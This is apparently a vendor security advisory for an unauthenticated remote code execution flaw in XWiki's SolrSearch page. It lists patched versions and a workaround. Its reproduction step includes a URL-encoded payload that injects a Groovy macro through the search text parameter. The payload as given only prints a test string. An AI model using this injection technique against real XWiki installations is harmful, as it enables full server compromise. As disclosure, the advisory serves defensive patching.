Impact Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity and availability of the whole XWiki installation.

To reproduce on an instance, without being logged in, go to <host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If there is an output, and the title of the RSS feed contains Hello from search text:42, then the instance is vulnerable.

Patches This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1.

Workarounds This line in Main.SolrSearchMacros can be edited to match the rawResponse macro defined here with a content type of application/xml, instead of simply outputting the content of the feed.

References

https://jira.xwiki.org/browse/XWIKI-22149 https://github.com/xwiki/xwiki-platform/commit/67021db9b8ed26c2236a653269302a86bf01ef40

Attribution This vulnerability has been reported by John Kwak for Trend Micro's Zero Day Initiative.